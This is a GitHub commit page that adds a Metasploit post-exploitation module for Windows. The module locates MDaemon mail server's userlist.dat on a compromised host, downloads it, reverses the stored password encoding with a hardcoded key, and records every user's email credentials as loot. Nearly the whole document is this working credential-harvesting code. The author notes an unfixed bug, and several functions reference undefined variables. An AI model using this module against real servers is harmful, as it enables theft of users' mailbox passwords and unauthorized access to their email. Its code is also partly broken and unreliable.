Skip to content

Commit dcd09f1

Browse files
New Post Module
New post module for windows. It gathers the users and cracks the password of MDaemon Mail server. NOTE: The module have a bug and I would appreciate help fixing it (problem when storing credentials)
1 parent b13d0f8 commit dcd09f1

File tree

1 file changed

+321
-0
lines changed

1 file changed

+321
-0
lines changed
Lines changed: 321 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,321 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'base64'
9+
10+
class MetasploitModule < Msf::Post
11+
include Msf::Post::Windows::Registry
12+
Rank = ExcellentRanking
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Windows Gather MDaemonEmailServer Credential Cracking',
16+
'Description' => %q{
17+
Finds and cracks the stored passwords of MDaemon Email Server.
18+
},
19+
'References' =>
20+
[
21+
['BID', '4686']
22+
],
23+
'License' => MSF_LICENSE,
24+
'Author' => ['Manuel Nader #AgoraSecurity'],
25+
'Platform' => ['win'],
26+
'Arch' => ['x64','x86'],
27+
'SessionTypes' => ['meterpreter', 'shell']
28+
))
29+
30+
register_options(
31+
[OptString.new('RPATH', [false, 'Path of the MDaemon installation', false]) # If software is installed on a rare directory
32+
], self.class)
33+
end
34+
35+
def run
36+
if session.type != 'meterpreter'
37+
print_error ('Only meterpreter sessions are supported by this post module')
38+
return
39+
end
40+
progfiles_env = session.sys.config.getenvs('SYSTEMDRIVE', 'HOMEDRIVE', 'ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432')
41+
locations = []
42+
progfiles_env.each do |_k, v|
43+
vprint_status("Searching MDaemon installation at #{v}")
44+
if session.fs.dir.entries(name = v).include? 'MDaemon'
45+
vprint_status("Found MDaemon installation at #{v}")
46+
locations << v + '\\MDaemon\\'
47+
end
48+
next
49+
end
50+
51+
keys = [
52+
'HKLM\\SOFTWARE\\Alt-N Technologies\\MDaemon', # 64 bit. Has AppPath
53+
# "HKLM\\SOFTWARE\\Wise Solutions\\WiseUpdate\\Apps\\MDaemon Server" # 32 bit on 64-bit system. Won't find path on register
54+
]
55+
56+
locations = ['C:\MDaemon\App']
57+
58+
if datastore['RHOST'].nil?
59+
locations << datastore['RHOST']
60+
end
61+
62+
keys.each do |key|
63+
begin
64+
root_key, base_key = session.sys.registry.splitkey(key)
65+
value = session.sys.registry.query_value_direct(root_key, base_key, 'AppPath')
66+
rescue Rex::Post::Meterpreter::RequestError => e
67+
vprint_error(e.message)
68+
next
69+
end
70+
locations << value.data + '\\'
71+
end
72+
locations = locations.uniq
73+
locations = locations.compact
74+
userlist = check_mdaemons(locations)
75+
get_mdaemon_creds(userlist) if userlist
76+
end
77+
78+
def crack_password(raw_password)
79+
vprint_status("Cracking #{raw_password}")
80+
offset = [84, 104, 101, 32, 115, 101, 116, 117, 112, 32, 112, 114, 111, 99, 101]
81+
decode = Base64.decode64(raw_password).bytes
82+
crack = decode
83+
result = ''
84+
for i in 0..(crack.size - 1)
85+
if (crack[i] - offset[i]) > 0
86+
result << (crack[i] - offset[i])
87+
else
88+
result << ((crack[i] - offset[i]) + 128)
89+
end
90+
end
91+
vprint_status("Password #{result}")
92+
return result
93+
end
94+
95+
def check_mdaemons(locations)
96+
tmp_filename = (0...12).map { (65 + rand(26)).chr }.join
97+
begin
98+
locations.each do |location|
99+
vprint_status("Checking for Userlist in MDaemons directory at: #{location}")
100+
begin
101+
session.fs.dir.foreach("#{location}") do |fdir|
102+
['userlist.dat', 'UserList.dat'].each do |datfile|
103+
if fdir == datfile
104+
filepath = location + '\\' + datfile
105+
print_good("Configuration file found: #{filepath}")
106+
print_good("Found MDaemons on #{sysinfo['Computer']} via session ID: #{session.sid}")
107+
vprint_status("Downloading UserList.dat file to tmp file: #{tmp_filename}")
108+
session.fs.file.download_file(tmp_filename, filepath)
109+
# userdat = session.fs.file.open(filepath).read.to_s.split(/\n/)
110+
return tmp_filename
111+
end
112+
end
113+
end
114+
rescue Rex::Post::Meterpreter::RequestError => e
115+
vprint_error(e.message)
116+
end
117+
end
118+
rescue ::Exception => e
119+
print_error(e.to_s)
120+
return
121+
end
122+
123+
return nil
124+
end
125+
126+
def parse_userlist(data)
127+
# creds = ["['domain','mailbox','full_name','mail_dir','password']"]
128+
creds = []
129+
pop3 = []
130+
imap = []
131+
users = 0
132+
passwords = 0
133+
file = File.open(data)
134+
file.each do |line|
135+
domain = line.slice(0..44).strip!
136+
mailbox = line.slice(45..74).strip!
137+
full_name = line.slice(75..104).strip!
138+
mail_dir = line.slice(105..194).strip!
139+
raw_password = line.slice(195..210)
140+
password = crack_password(raw_password)
141+
access= line.slice(217)
142+
users += 1
143+
passwords += 1
144+
if access == 'Y' # IMAP & POP3
145+
pop3 << [domain, mailbox, full_name, mail_dir, password]
146+
imap << [domain, mailbox, full_name, mail_dir, password]
147+
elsif access == 'P' # POP3
148+
pop3 << [domain, mailbox, full_name, mail_dir, password]
149+
elsif access == 'I' # IMAP
150+
imap << [domain, mailbox, full_name, mail_dir, password]
151+
end
152+
# Saves all the passwords
153+
creds << [domain, mailbox, full_name, mail_dir, password]
154+
end
155+
vprint_status('Collected the following credentials:')
156+
vprint_status(" Usernames: #{users}")
157+
vprint_status(" Passwords: #{passwords}")
158+
vprint_status("Deleting tmp file: #{data}")
159+
del_cmd = 'rm '
160+
del_cmd << data
161+
system(del_cmd)
162+
return creds, imap, pop3
163+
end
164+
165+
def report_cred(creds)
166+
# Build service information
167+
service_data = {
168+
# address: session.session_host, # Gives internal IP
169+
address: session.tunnel_peer.partition(':')[0], # Gives public IP
170+
port: 25,
171+
service_name: 'smtp',
172+
protocol: 'tcp',
173+
}
174+
# Iterate through credentials
175+
creds.each do |cred|
176+
# Build credential information
177+
credential_data = {
178+
origin_type: :service,
179+
session_id: session_db_id,
180+
post_reference_name: self.refname,
181+
private_type: :password,
182+
private_data: cred[4],
183+
username: cred[1],
184+
workspace_id: myworkspace_id,
185+
module_fullname: self.fullname
186+
}
187+
print_status("Debug 1: #{credential_data}")
188+
credential_data.merge!(service_data)
189+
print_status("Debug 2: #{credential_data}")
190+
credential_core = create_credential(credential_data)
191+
192+
# Assemble the options hash for creating the Metasploit::Credential::Login object
193+
login_data = {
194+
core: credential_core,
195+
status: Metasploit::Model::Login::Status::UNTRIED,
196+
workspace_id: myworkspace_id
197+
}
198+
199+
login_data.merge!(service_data)
200+
create_credential_login(login_data)
201+
202+
print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
203+
end
204+
205+
# report the goods!
206+
loot_path = store_loot('MDaemon.smtp_server.creds', 'text/csv', session, creds.to_csv,
207+
'mdaemon_smtp_server_credentials.csv', 'MDaemon SMTP Users Credentials')
208+
print_status("SMPT credentials saved in: #{loot_path}")
209+
end
210+
211+
def report_pop3(pop3)
212+
# Build service information
213+
service_data = {
214+
# address: session.session_host, # Gives internal IP
215+
address: session.tunnel_peer.partition(':')[0], # Gives public IP
216+
port: 110,
217+
service_name: 'pop3',
218+
protocol: 'tcp',
219+
}
220+
# Iterate through credentials
221+
pop3.each do |cred|
222+
# Build credential information
223+
credential_data = {
224+
origin_type: :service,
225+
session_id: session_db_id,
226+
post_reference_name: self.refname,
227+
private_type: :password,
228+
private_data: cred[4],
229+
username: cred[1],
230+
workspace_id: myworkspace_id,
231+
module_fullname: self.fullname
232+
}
233+
vprint_status("Debug 1: #{credential_data}")
234+
credential_data.merge!(service_data)
235+
vprint_status("Debug 2: #{credential_data}")
236+
credential_core = create_credential(credential_data)
237+
238+
# Assemble the options hash for creating the Metasploit::Credential::Login object
239+
login_data = {
240+
core: credential_core,
241+
status: Metasploit::Model::Login::Status::UNTRIED,
242+
workspace_id: myworkspace_id
243+
}
244+
245+
login_data.merge!(service_data)
246+
create_credential_login(login_data)
247+
248+
print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
249+
end
250+
251+
# report the goods!
252+
loot_path = store_loot('MDaemon.pop3_server.creds', 'text/csv', session, creds.to_csv,
253+
'mdaemon_pop3_server_credentials.csv', 'MDaemon POP3 Users Credentials')
254+
print_status("POP3 credentials saved in: #{loot_path}")
255+
end
256+
257+
def report_imap(imap)
258+
# Build service information
259+
service_data = {
260+
# address: session.session_host, # Gives internal IP
261+
address: session.tunnel_peer.partition(':')[0], # Gives public IP
262+
port: 143,
263+
service_name: 'imap',
264+
protocol: 'tcp',
265+
}
266+
# Iterate through credentials
267+
imap.each do |cred|
268+
# Build credential information
269+
credential_data = {
270+
origin_type: :service,
271+
session_id: session_db_id,
272+
post_reference_name: self.refname,
273+
private_type: :password,
274+
private_data: cred[4],
275+
username: cred[1],
276+
workspace_id: myworkspace_id,
277+
module_fullname: self.fullname
278+
}
279+
vprint_status("Debug 1: #{credential_data}")
280+
credential_data.merge!(service_data)
281+
vprint_status("Debug 2: #{credential_data}")
282+
credential_core = create_credential(credential_data)
283+
284+
# Assemble the options hash for creating the Metasploit::Credential::Login object
285+
login_data = {
286+
core: credential_core,
287+
status: Metasploit::Model::Login::Status::UNTRIED,
288+
workspace_id: myworkspace_id
289+
}
290+
291+
login_data.merge!(service_data)
292+
create_credential_login(login_data)
293+
294+
print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
295+
end
296+
297+
# report the goods!
298+
loot_path = store_loot('MDaemon.imap_server.creds', 'text/csv', session, creds.to_csv,
299+
'mdaemon_imap_server_credentials.csv', 'MDaemon SMTP Users Credentials')
300+
print_status("IMAP credentials saved in: #{loot_path}")
301+
end
302+
303+
def get_mdaemon_creds(userlist)
304+
credentials = Rex::Ui::Text::Table.new(
305+
'Header' => 'MDaemon Email Server Credentials',
306+
'Indent' => 1,
307+
'Columns' =>
308+
[
309+
'Domain',
310+
'Mailbox',
311+
'Full Name',
312+
'Mail Dir',
313+
'Password'
314+
])
315+
creds, imap, pop3 = parse_userlist(userlist)
316+
report_cred(creds)
317+
report_pop3(pop3)
318+
report_imap(imap)
319+
320+
end
321+
end

0 commit comments

Comments
 (0)